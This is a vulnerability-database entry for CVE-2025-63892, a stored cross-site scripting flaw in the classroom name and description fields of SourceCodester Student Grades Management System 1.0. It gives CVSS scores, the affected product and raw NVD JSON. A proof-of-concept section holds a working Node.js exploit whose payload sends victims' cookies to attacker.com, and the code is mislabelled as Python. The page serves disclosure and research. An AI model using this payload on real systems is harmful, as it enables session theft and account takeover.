Security Vulnerability Report
中文
CVE-2025-63892 CVSS 6.8 MEDIUM

CVE-2025-63892

Published: 2025-11-18 15:16:36
Last Modified: 2025-11-20 21:51:15

Description

A vulnerability was determined in SourceCodester Student Grades Management System 1.0. Affected is the function create_classroom of the file /classroom.php of the component My Classrooms Management Page. This manipulation of the argument name/description causes stored cross site scripting.

CVSS Details

CVSS Score
6.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:remyandrade:student_grades_management_system:1.0:*:*:*:*:*:*:* - VULNERABLE
SourceCodester Student Grades Management System 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-63892 PoC - Stored XSS in SourceCodester Student Grades Management System // Target: /classroom.php - create_classroom function const axios = require('axios'); const cheerio = require('cheerio'); async function exploit(targetUrl, username, password) { const session = axios.create({ baseURL: targetUrl }); try { // Step 1: Login to obtain authenticated session const loginPage = await session.get('/login.php'); const $ = cheerio.load(loginPage.data); const csrfToken = $('input[name="csrf_token"]').val(); await session.post('/login.php', { csrf_token: csrfToken, username: username, password: password }); console.log('[+] Login successful'); // Step 2: Get CSRF token for classroom creation const classroomPage = await session.get('/classroom.php'); const $classroom = cheerio.load(classroomPage.data); const classroomCsrfToken = $classroom('input[name="csrf_token"]').val(); // Step 3: Inject stored XSS payload in name/description const xssPayload = '<script>fetch("https://attacker.com/log?c="+document.cookie)</script>'; await session.post('/classroom.php', { csrf_token: classroomCsrfToken, action: 'create_classroom', name: xssPayload, description: xssPayload }); console.log('[+] XSS payload injected successfully'); console.log('[+] Payload will execute when users view the classroom'); } catch (error) { console.error('[-] Exploitation failed:', error.message); } } // Usage: node poc.js <target_url> <username> <password> exploit(process.argv[2], process.argv[3], process.argv[4]);

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63892", "sourceIdentifier": "[email protected]", "published": "2025-11-18T15:16:36.367", "lastModified": "2025-11-20T21:51:15.127", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in SourceCodester Student Grades Management System 1.0. Affected is the function create_classroom of the file /classroom.php of the component My Classrooms Management Page. This manipulation of the argument name/description causes stored cross site scripting."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:remyandrade:student_grades_management_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "3598B8C3-795C-4F26-9376-73D791CD287B"}]}]}], "references": [{"url": "http://sourcecodester.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "http://student.com", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://github.com/minhajultaivin/security-advisories/blob/main/CVE-2025-63892.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}